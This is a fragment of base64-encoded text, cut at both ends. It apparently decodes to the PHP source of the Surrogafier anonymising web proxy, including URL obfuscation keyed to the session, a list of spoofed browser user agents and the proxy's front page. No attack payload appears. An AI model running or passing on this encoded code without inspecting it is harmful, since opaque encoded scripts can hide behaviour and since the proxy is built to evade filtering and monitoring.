CwgaWYgbm90IGluIHNhZmUgbW9kZQ0KaWYoIWluaV9nZXQoJ3NhZmVfbW9kZScpKSBzZXRfdGltZV9saW1pdChUSU1FX0xJTUlUKTsNCg0KIyB1c2UgZ3ppcCBjb21wcmVzc2lvbiBpZiBhdmFpbGFibGUNCmlmKEdaSVBfUFJPWFlfVVNFUiAmJiBleHRlbnNpb25fbG9hZGVkKCd6bGliJykgJiYgIWluaV9nZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJykpIG9iX3N0YXJ0KCdvYl9nemhhbmRsZXInKTsgIyB1c2UgZ3ppcCBlbmNvZGluZyB0byBjb21wcmVzcyBhbGwgZGF0YSwgaWYgcG9zc2libGUNCg0KIyByZXZlcnNlIG1hZ2ljIHF1b3RlcyBpZiBlbmFibGVkDQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsNCglmdW5jdGlvbiBzdHJpcHNsYXNoZXNfcmVjdXJzZSgkdmFyKXsNCgkJaWYoaXNfYXJyYXkoJHZhcikpICR2YXI9YXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfcmVjdXJzZScsJHZhcik7DQoJCWVsc2UgJHZhcj1zdHJpcHNsYXNoZXMoJHZhcik7DQoJCXJldHVybiAkdmFyOw0KCX0NCgkkX0dFVD1zdHJpcHNsYXNoZXNfcmVjdXJzZSgkX0dFVCk7DQoJJF9QT1NUPXN0cmlwc2xhc2hlc19yZWN1cnNlKCRfUE9TVCk7DQoJJF9DT09LSUU9c3RyaXBzbGFzaGVzX3JlY3Vyc2UoJF9DT09LSUUpOw0KfQ0KDQojIHNjcmlwdCBlbnZpcm9ubWVudCBjb25zdGFudHMNCmlmKCFkZWZpbmVkKCdQUk9UTycpKSBkZWZpbmUoJ1BST1RPJywoJF9TRVJWRVJbJ0hUVFBTJ109PSdvbic/J2h0dHBzJzonaHR0cCcpKTsNCmRlZmluZSgnVkVSU0lPTicsJzEuMC1yYzMnKTsNCmRlZmluZSgnVEhJU19TQ1JJUFQnLFBST1RPLiI6Ly97JF9TRVJWRVJbJ0hUVFBfSE9TVCddfXskX1NFUlZFUlsnUEhQX1NFTEYnXX0iKTsNCmRlZmluZSgnU0lNUExFX01PREUnLERFRkFVTFRfU0lNUExFIHx8IEZPUkNFX1NJTVBMRSk7DQoNCiMgUmFuZG9taXplZCBjb29raWUgcHJlZml4ZXMgIw0KZnVuY3Rpb24gZ2VuX3JhbmRzdHIoJGxlbil7DQoJJGNoYXJzPW51bGw7DQoJZm9yKCRpPTA7JGk8JGxlbjskaSsrKXsNCgkJJGNoYXI9cmFuZCgwLDI1KTsNCgkJJGNoYXI9Y2hyKCRjaGFyKzk3KTsNCgkJJGNoYXJzLj0kY2hhcjsNCgl9DQoJcmV0dXJuICRjaGFyczsNCn0NCg0KZnVuY3Rpb24gZG9zZXRjb29raWUoJGNvb2tuYW1lLCRjb29rdmFsLCRleHBpcmU9bnVsbCl7DQoJJF9DT09LSUVbJGNvb2tuYW1lXT0kY29va3ZhbDsNCglpZigkZXhwaXJlPT09bnVsbCkgc2V0Y29va2llKCRjb29rbmFtZSwkY29va3ZhbCk7DQoJZWxzZSBzZXRjb29raWUoJGNvb2tuYW1lLCRjb29rdmFsLCRleHBpcmUpOw0KfQ0KDQpkZWZpbmUoJ0ZJUlNUX0xPQUQnLGVtcHR5KCRfQ09PS0lFWydQSFBTRVNTSUQnXSkpOw0Kc2Vzc2lvbl9zdGFydCgpOw0KaWYoZW1wdHkoJF9TRVNTSU9OWydzZXNzcHJlZiddKSl7DQoJJHNlc3NwcmVmPWdlbl9yYW5kc3RyKDMwKTsNCgkkX1NFU1NJT05bJ3Nlc3NwcmVmJ109JHNlc3NwcmVmOw0KfQ0KZWxzZSAkc2Vzc3ByZWY9JF9TRVNTSU9OWydzZXNzcHJlZiddOw0KDQppZihlbXB0eSgkX0NPT0tJRVsndXNlciddKSl7DQoJJGNvb2twcmVmPWdlbl9yYW5kc3RyKDEyKTsNCglkb3NldGNvb2tpZSgndXNlcicsJGNvb2twcmVmKTsNCn0NCmVsc2UgJGNvb2twcmVmPSRfQ09PS0lFWyd1c2VyJ107DQoNCmRlZmluZSgnU0VTU19QUkVGJywkc2Vzc3ByZWYpOw0KZGVmaW5lKCdDT09LX1BSRUYnLCRjb29rcHJlZik7DQpkZWZpbmUoJ0NPT0tJRV9TRVBBUkFUT1InLCdfXycuQ09PS19QUkVGLidfXycpOw0KdW5zZXQoJHNlc3NwcmVmLCRjb29rcHJlZik7DQoNCmlmKEZJUlNUX0xPQUQpew0KCWlmKERFRkFVTFRfVVJMX0ZPUk0pIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX3VybF9mb3JtJyx0cnVlKTsNCglpZihERUZBVUxUX1JFTU9WRV9DT09LSUVTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9SRU1PVkVfUkVGRVJFUikgZG9zZXRjb29raWUoQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInLHRydWUpOw0KCWlmKERFRkFVTFRfUkVNT1ZFX1NDUklQVFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJyx0cnVlKTsNCglpZihERUZBVUxUX1JFTU9WRV9PQkpFQ1RTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9FTkNSWVBUX1VSTFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX2VuY3J5cHRfdXJscycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9FTkNSWVBUX0NPT0tTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJyx0cnVlKTsNCn0NCg0KIyB9fX0NCg0KIyBFTlZJUk9OTUVOVCBTRVRVUCB7e3sNCg0KZ2xvYmFsICRwb3N0YW5kZ2V0LCRibG9ja2VkX2FkZHJlc3NlcywkZG5zX2NhY2hlX2FycmF5Ow0KJHBvc3RhbmRnZXQ9YXJyYXlfbWVyZ2UoJF9HRVQsJF9QT1NUKTsNCg0KZGVmaW5lKCdQQUdFVFlQRV9NSU5JUkVHRVhQJywnKD1bX1wuXC1dP1wmPXw9KT8nKTsNCmRlZmluZSgnUEFHRVRZUEVfUkVHRVhQJywnL14nLlBBR0VUWVBFX01JTklSRUdFWFAuJyguKikkLycpOw0KaWYoIWVtcHR5KCRwb3N0YW5kZ2V0W0NPT0tfUFJFRl0pKSAkb2VuY191cmw9JHBvc3RhbmRnZXRbQ09PS19QUkVGXTsNCmVsc2V7DQoJJHBhZ2V0eXBlX3N0cj1wcmVnX3JlcGxhY2UoUEFHRVRZUEVfUkVHRVhQLCdcMScsJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddKTsNCglkZWZpbmUoJ1FVRVJZX1NUUklORycsc3Vic3RyKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSxzdHJsZW4oJHBhZ2V0eXBlX3N0ciksc3RybGVuKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSktc3RybGVuKCRwYWdldHlwZV9zdHIpKSk7DQoJZGVmaW5lKCdQQUdFVFlQRV9OVUxMJywwKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZPUkNFX01BSU4nLDEpOw0KCWRlZmluZSgnUEFHRVRZUEVfRlJBTUVfVE9QJywyKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZSQU1FRF9QQUdFJywzKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZSQU1FRF9DSElMRCcsNCk7ICMgZnJhbWluZyBjaGlsZHJlbiBmb3IgY3JpbWVzIGlzbid0IHZlcnkgbmljZSwgYnV0IHRoZSBzY3JpcHQgZG9lcyBpdCBhbnl3YXkNCglzd2l0Y2goJHBhZ2V0eXBlX3N0cil7DQoJCWNhc2UgJz0mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZSQU1FX1RPUCk7IGJyZWFrOw0KCQljYXNlICc9XyY9JzogZGVmaW5lKCdQQUdFVFlQRV9JRCcsUEFHRVRZUEVfRlJBTUVEX1BBR0UpOyBicmVhazsNCgkJY2FzZSAnPS0mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZPUkNFX01BSU4pOyBicmVhazsNCgkJY2FzZSAnPS4mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZSQU1FRF9DSElMRCk7IGJyZWFrOw0KIyB0aGlzIGlzIG9uZSBtb3JlIHVuZW5jb2RlZCBzdHJpbmcgZm9yIGZ1dHVyZSBmZWF0dXJlcw0KIwkJY2FzZSAnPSomPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLCk7IGJyZWFrOw0KCQlkZWZhdWx0OiBkZWZpbmUoJ1BBR0VUWVBFX0lEJyxQQUdFVFlQRV9OVUxMKTsgYnJlYWs7DQoJfQ0KCXVuc2V0KCRwYWdldHlwZV9zdHIpOw0KDQoJZGVmaW5lKCdORVdfUEFHRVRZUEVfRlJBTUVfVE9QJywoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1FX1RPUCkpOw0KCWRlZmluZSgnTkVXX1BBR0VUWVBFX0ZSQU1FRF9QQUdFJywoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1FRF9QQUdFKSk7DQoNCgkkb2VuY191cmw9UVVFUllfU1RSSU5HOw0KCS8vZGVmaW5lKCdPRU5DX1VSTCcsdXJsZGVjb2RlKHByZWdfcmVwbGFjZSgnL14oW14mXSopLio/JC9pJywnXDEnLFFVRVJZX1NUUklORykpKTsNCn0NCmlmKHN0cnBvcyhzdWJzdHIoJG9lbmNfdXJsLDAsNiksJyUnKSE9PWZhbHNlIHx8IHN0cnBvcygkb2VuY191cmwsJyUnKTxzdHJwb3MoJG9lbmNfdXJsLCcvJykgfHwgc3RycG9zKCRvZW5jX3VybCwnJScpPHN0cnBvcygkb2VuY191cmwsJzonKSkgJG9lbmNfdXJsPXVybGRlY29kZSgkb2VuY191cmwpOw0KZGVmaW5lKCdPRU5DX1VSTCcscHJlZ19yZXBsYWNlKCcvXihbXlw/XCZdKylcJi9pJywnXDE/Jywkb2VuY191cmwpKTsNCnVuc2V0KCRvZW5jX3VybCk7DQpkZWZpbmUoJ09SSUdfVVJMJyxwcm94ZGVjKE9FTkNfVVJMKSk7DQpnbG9iYWwgJGN1cnJfdXJsOw0KJGN1cnJfdXJsPU9SSUdfVVJMOw0KDQpmdW5jdGlvbiBnZXRoYXJkYXR0cigkYXR0cil7DQoJZ2xvYmFsICRwb3N0YW5kZ2V0Ow0KCXJldHVybiAoZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLidfc2V0X3ZhbHVlcyddKT8hZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLiJfeyRhdHRyfSJdKTohZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLiJfeyRhdHRyfSJdKSk7DQp9DQpkZWZpbmUoJ0VOQ1JZUFRfVVJMUycsZ2V0aGFyZGF0dHIoJ2VuY3J5cHRfdXJscycpKTsNCmRlZmluZSgnVVJMX0ZPUk0nLGdldGhhcmRhdHRyKCd1cmxfZm9ybScpKTsNCmRlZmluZSgnUEFHRV9GUkFNRUQnLChQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFIHx8IFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX0NISUxEIHx8IFFVRVJZX1NUUklORz09J2pzX3JlZ2V4cHNfZnJhbWVkJyB8fCBRVUVSWV9TVFJJTkc9PSdqc19mdW5jc19mcmFtZWQnKSk7DQojZGVmaW5lKCdVUkxWQVInLChFTkNSWVBUX1VSTFM/J2UnOm51bGwpLid1cmwnKTsNCg0KIyB9fX0NCg0KIyBQSFAgREVDT0RJTkcgRlVOQ1RJT05TIHt7ew0KDQpmdW5jdGlvbiBteV9iYXNlNjRfZGVjb2RlKCRzdHJpbmcpeyByZXR1cm4gYmFzZTY0X2RlY29kZShzdHJfcmVwbGFjZSgnICcsJysnLHVybGRlY29kZSgkc3RyaW5nKSkpOyB9DQoNCmZ1bmN0aW9uIHByb3hkZWMoJHVybCl7DQoJaWYoJHVybHswfSE9J34nICYmIHN0cnRvbG93ZXIoc3Vic3RyKCR1cmwsMCwzKSkhPSclN2UnKSByZXR1cm4gJHVybDsNCgkjd2hpbGUoc3RycG9zKCR1cmwsJyUnKSE9PWZhbHNlKSAkdXJsPXVybGRlY29kZSgkdXJsKTsNCgkjJHVybD11cmxkZWNvZGUoJHVybCk7DQoJd2hpbGUoJHVybHswfT09J34nIHx8IHN0cnRvbG93ZXIoc3Vic3RyKCR1cmwsMCwzKSk9PSclN2UnKXsNCgkJJHVybD1zdWJzdHIoJHVybCwxKTsNCgkJJHVybD1teV9iYXNlNjRfZGVjb2RlKCR1cmwpOw0KCQkkbmV3X3VybD1udWxsOw0KCQlmb3IoJGk9MDskaTxzdHJsZW4oJHVybCk7JGkrKyl7DQoJCQkkY2hhcj1vcmQoJHVybHskaX0pOw0KCQkJJGNoYXItPW9yZChzdWJzdHIoU0VTU19QUkVGLCRpJXN0cmxlbihTRVNTX1BSRUYpLDEpKTsNCgkJCXdoaWxlKCRjaGFyPDMyKSAkY2hhcis9OTQ7DQoJCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsNCgkJfQ0KCQkkdXJsPSRuZXdfdXJsOw0KCX0NCglyZXR1cm4gdXJsZGVjb2RlKCR1cmwpOw0KfQ0KDQojIH19fQ0KDQojIEpBVkFTQ1JJUFQgRU5DT0RJTkcgRlVOQ1RJT05TIHt7ew0KDQpmdW5jdGlvbiBqc19wcm94ZW5jKCl7ID8+DQovLzxzY3JpcHQ+DQo8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3BlPXsNCmV4cG9uOmZ1bmN0aW9uKGEsYil7DQoJdmFyIG51bTsNCglpZihiPT0wKSByZXR1cm4gMTsNCgludW09YTsgYi0tOw0KCXdoaWxlKGI+MCl7IG51bSo9YTsgYi0tOyB9DQoJcmV0dXJuIG51bTsNCn0sDQoNCmRlY3RvYmluOmZ1bmN0aW9uKCl7DQoJdmFyIGRlYz1hcmd1bWVudHNbMF0sY2hhcnM9YXJndW1lbnRzWzFdfHw4LGJpbnJlcD0iIjsNCglmb3Ioaj1jaGFycy0xO2o+PTA7ai0tKXsNCgkJaWYoZGVjPj10aGlzLmV4cG9uKDIsaikpew0KCQkJYmlucmVwKz0iMSI7IGRlYy09dGhpcy5leHBvbigyLGopOw0KCQl9DQoJCWVsc2UgYmlucmVwKz0iMCI7DQoJfQ0KCXJldHVybiBiaW5yZXA7DQp9LA0KDQpiaW50b2RlYzpmdW5jdGlvbigpew0KCXZhciBiaW49YXJndW1lbnRzWzBdLGNoYXJzPWFyZ3VtZW50c1sxXXx8OCxkZWM9MDsNCglmb3IodmFyIGo9MDtqPGNoYXJzO2orKykgaWYoYmluLnN1YnN0cmluZyhqLGorMSk9PSIxIikgZGVjKz10aGlzLmV4cG9uKDIsY2hhcnMtMS1qKTsNCglyZXR1cm4gZGVjOw0KfSwNCg0KYjY0ZTpmdW5jdGlvbihzdHJpbmcpew0KCXZhciBlbmNzdHI9IiIsYmlucmVwPSIiOw0KCXZhciBjaGFyYmluLGNoYXJudW07DQoJZm9yKHZhciBpPTA7aTxzdHJpbmcubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09c3RyaW5nLmNoYXJDb2RlQXQoaSk7DQoJCWJpbnJlcCs9dGhpcy5kZWN0b2JpbihjaGFybnVtKTsNCgl9DQoJd2hpbGUoYmlucmVwLmxlbmd0aCU2KSBiaW5yZXArPSIwMCI7DQoJZm9yKHZhciBpPTE7aSo2PD1iaW5yZXAubGVuZ3RoO2krKyl7DQoJCWNoYXJiaW49YmlucmVwLnN1YnN0cmluZygoaS0xKSo2LGkqNik7DQoJCWNoYXJudW09dGhpcy5iaW50b2RlYyhjaGFyYmluLDYpOw0KCQlpZihjaGFybnVtPD0yNSkgY2hhcm51bSs9NjU7DQoJCWVsc2UgaWYoY2hhcm51bTw9NTEpIGNoYXJudW0rPTcxOw0KCQllbHNlIGlmKGNoYXJudW08PTYxKSBjaGFybnVtLT00Ow0KCQllbHNlIGlmKGNoYXJudW09PTYyKSBjaGFybnVtPTQzOw0KCQllbHNlIGlmKGNoYXJudW09PTYzKSBjaGFybnVtPTQ3Ow0KCQllbmNzdHIrPVN0cmluZy5mcm9tQ2hhckNvZGUoY2hhcm51bSk7DQoJfQ0KCXdoaWxlKGVuY3N0ci5sZW5ndGglOCkgZW5jc3RyKz0iPSI7DQoJcmV0dXJuIGVuY3N0cjsNCn0sDQoNCnByb3hlbmM6ZnVuY3Rpb24odXJsKXsNCgl2YXIgbmV3X3VybD0iIjsNCgl2YXIgY2hhcm51bTsNCglpZih1cmwuc3Vic3RyaW5nKDAsMSk9PSJ+IiB8fCB1cmwuc3Vic3RyaW5nKDAsMykudG9Mb3dlckNhc2UoKT09IiU3ZSIpIHJldHVybiB1cmw7DQoJdXJsPWVuY29kZVVSSUNvbXBvbmVudCh1cmwpOw0KCXZhciBzZXNzX3ByZWY9Ijw/cGhwIGVjaG8oU0VTU19QUkVGKTsgPz4iOw0KCWZvcihpPTA7aTx1cmwubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09dXJsLmNoYXJDb2RlQXQoaSk7DQoJCWNoYXJudW0rPXNlc3NfcHJlZi5jaGFyQ29kZUF0KGklc2Vzc19wcmVmLmxlbmd0aCk7DQoJCXdoaWxlKGNoYXJudW0+MTI2KSBjaGFybnVtLT05NDsNCgkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsNCgl9DQoJcmV0dXJuICJ+IitlbmNvZGVVUklDb21wb25lbnQodGhpcy5iNjRlKG5ld191cmwpKTsNCn0NCn0NCjw/IH0NCg0KIyB9fX0NCg0KIyBGSVJTVCBQQUdFIERJU1BMQVlFRCBXSEVOIEFDQ0VTU0lORyBQUk9YWSB7e3sNCg0KaWYoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GT1JDRV9NQUlOIHx8IChzdWJzdHIoUVVFUllfU1RSSU5HLDAsMykhPSdqc18nICYmIE9SSUdfVVJMPT1udWxsKSl7DQoNCiR1c2VyYWdlbnRpbmZvPW51bGw7DQppZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnd2luZG93cycpIT09ZmFsc2UgfHwgc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ3dpbjMyJykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdXaW5kb3dzJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbWFjaW50b3NoJykhPT1mYWxzZSB8fCBzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbWFjX3Bvd2VycGMnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J01hY2ludG9zaCc7DQplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ2xpbnV4JykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdMaW51eCc7DQplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ2JzZCcpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvLj0nQlNEJzsNCmVsc2UgJHVzZXJhZ2VudGluZm8uPSdVbmtub3duJzsNCg0KJHVzZXJhZ2VudGluZm8uPScgLyAnOw0KDQppZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbXNpZScpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvLj0nSW50ZXJuZXQgRXhwbG9yZXInOw0KZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdmaXJlZm94JykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdGaXJlZm94JzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbmV0c2NhcGUnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J05ldHNjYXBlJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnb3BlcmEnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J09wZXJhJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwna29ucXVlcm9yJykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdLb25xdWVyb3InOw0KZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdzZWFtb25rZXknKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J1NlYU1vbmtleSc7DQplbHNlICR1c2VyYWdlbnRpbmZvLj0nVW5rbm93bic7DQoNCiR1c2VyYWdlbnRfYXJyYXk9YXJyYXkoDQoJYXJyYXkobnVsbCwiQWN0dWFsICh7JHVzZXJhZ2VudGluZm99KSIpLA0KCWFycmF5KCctMScsJyBbIERvblwndCBTZW5kIF0gJyksDQoJYXJyYXkoJ01vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOC4xKSBHZWNrby8yMDA2MTAyNCBGaXJlZm94LzIuMCcsJ1dpbmRvd3MgWFAgLyBGaXJlZm94IDIuMCcpLA0KCWFycmF5KCdNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjA7IFdpbmRvd3MgTlQgNS4xOyBTVjEpJywnV2luZG93cyBYUCAvIEludGVybmV0IEV4cGxvcmVyIDcnKSwNCglhcnJheSgnTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMTsgU1YxKScsJ1dpbmRvd3MgWFAgLyBJbnRlcm5ldCBFeHBsb3JlciA2JyksDQoJYXJyYXkoJ09wZXJhLzkuMDIgKFdpbmRvd3MgTlQgNS4xOyBVOyBlbiknLCdXaW5kb3dzIFhQIC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBVOyBQUEMgTWFjIE9TIFg7IGVuLVVTOyBydjoxLjguMSkgR2Vja28vMjAwNjEwMjQgRmlyZWZveC8yLjAnLCdNYWMgT1MgWCAvIEZpcmVmb3ggMi4wJyksDQoJYXJyYXkoJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IFBQQyBNYWMgT1MgWDsgZW4pIEFwcGxlV2ViS2l0LzUyMS4yNSAoS0hUTUwsIGxpa2UgR2Vja28pIFNhZmFyaS81MjEuMjQnLCdNYWMgT1MgWCAvIFNhZmFyaSAzLjAnKSwNCglhcnJheSgnT3BlcmEvOS4wMiAoTWFjaW50b3NoOyBQUEMgTWFjIE9TIFg7IFU7IGVuKScsJ01hYyBPUyBYIC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoWDExOyBVOyBMaW51eCBpNjg2OyBlbi1VUzsgcnY6MS44LjEpIEdlY2tvLzIwMDYxMDI0IEZpcmVmb3gvMi4wJywnTGludXggLyBGaXJlZm94IDIuMCcpLA0KCWFycmF5KCdPcGVyYS85LjAyIChYMTE7IExpbnV4IGk2ODY7IFU7IGVuKScsJ0xpbnV4IC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgS29ucXVlcm9yLzMuNTsgTGludXgpIEtIVE1MLzMuNS41IChsaWtlIEdlY2tvKScsJ0xpbnV4IC8gS29ucXVlcm9yIDMuNS41JyksDQoJYXJyYXkoJ0xpbmtzICgyLjFwcmUxOTsgTGludXggMi42IGk2ODY7IHgpJywnTGludXggLyBMaW5rcyAoMi4xcHJlMTkpJyksDQoJYXJyYXkoJ0x5bngvMi44LjVyZWwuMScsJ0FueSAvIEx5bnggMi44LjVyZWwuMScpLA0KCWFycmF5KCdEaWxsby8wLjguNicsJ0FueSAvIERpbGxvIDAuOC42JyksDQoJYXJyYXkoJ1dnZXQvMS4xMC4yJywnQW55IC8gV2dldCAxLjEwLjInKSwNCglhcnJheSgnMScsJyBbIEN1c3RvbSBdIDxub3NjcmlwdD48Yj4qKjwvYj48L25vc2NyaXB0PicpDQopOw0KDQpkZWZpbmUoJ0lQUkVHRVhQJywnL14oKD86WzAtMl17MCwyfVswLTldezEsMn1cLil7M31bMC0yXXswLDJ9WzAtOV17MSwyfSlcOihbMC05XXsxLDV9KSQvJyk7DQoNCj8+DQo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIiANCiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+DQoNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+U3Vycm9nYWZpZXI8L3RpdGxlPg0KPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJpbmRleCwgbm9mb2xsb3ciIC8+DQo8c3R5bGU+DQoJYm9keXtmb250LWZhbWlseTogYml0c3RyZWFtIHZlcmEgc2FucywgdHJlYnVjaGV0IG1zfQ0KCWlucHV0e2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDB9DQoJc2VsZWN0e2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDB9DQoJYXtjb2xvcjogIzAwMDAwMH0NCglhOmhvdmVye3RleHQtZGVjb3JhdGlvbjogbm9uZX0NCgkuYWR2YW5jZWRfc3R1ZmZ7ZGlzcGxheTogPD9waHAgZWNobyhTSU1QTEVfTU9ERT8nbm9uZSc6J3RhYmxlLXJvdycpOyA/Pn0NCgkuc2ltcGxlX3N0dWZme2Rpc3BsYXk6IDw/cGhwIGVjaG8oU0lNUExFX01PREU/J3RhYmxlLXJvdyc6J25vbmUnKTsgPz59DQoJLnVybHt3aWR0aDogPD9waHAgZWNobyhTSU1QTEVfTU9ERT9TSU1QTEVfTU9ERV9VUkxXSURUSDonOTklJyk7ID8+fQ0KCS5zaWduYXR1cmV7ZmxvYXQ6IGxlZnR9DQo8P3BocCBpZihGT1JDRV9TSU1QTEUpeyA/Pg0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5zaWduYXR1cmV7dGV4dC1hbGlnbjogY2VudGVyOyBmbG9hdDogbm9uZX0NCjw/cGhwIH0gPz4NCjwvc3R5bGU+DQo8P3BocCBpZighRk9SQ0VfU0lNUExFKXsgPz48bm9zY3JpcHQ+PHN0eWxlPg0KCS5hZHZhbmNlZF9zdHVmZntkaXNwbGF5OiB0YWJsZS1yb3d9DQoJLnNpbXBsZV9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5ub3NjcmlwdHVybHt3aWR0aDogOTklfQ0KCS51cmx7ZGlzcGxheTogbm9uZX0NCgkuc2lnbmF0dXJle3RleHQtYWxpZ246IGNlbnRlcjsgZmxvYXQ6IG5vbmV9DQo8L3N0eWxlPjwvbm9zY3JpcHQ+PD9waHAgfSA/Pg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQo8IS0tDQoNCjw/cGhwIGpzX3Byb3hlbmMoKTsgPz4NCg0KZnVuY3Rpb24gdXNlcmFnZW50X2NoZWNrKGZvY3VzKXsNCglpZihkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZSgnPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnQnKVswXS52YWx1ZT09JzEnKXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSIiOw0KCQlpZihmb2N1cykgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50dGV4dCcpLmZvY3VzKCk7DQoJfQ0KCWVsc2UgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSdub25lJzsNCn0NCg0KPD9waHAgaWYoIUZPUkNFX1NJTVBMRSl7ID8+DQphZHZhbmNlZF9tb2RlPXRydWU7DQpmdW5jdGlvbiB0b2dnbGVfbW9kZSgpew0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJtb2RlX3RvZ2dsZXIiKS5pbm5lckhUTUw9KGFkdmFuY2VkX21vZGU/IkFkdmFuY2VkIE1vZGUiOiJTaW1wbGUgTW9kZSIpOw0KCXZhciBhZHZhbmNlZF9zdHVmZj1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgidHIiKTsNCglmb3I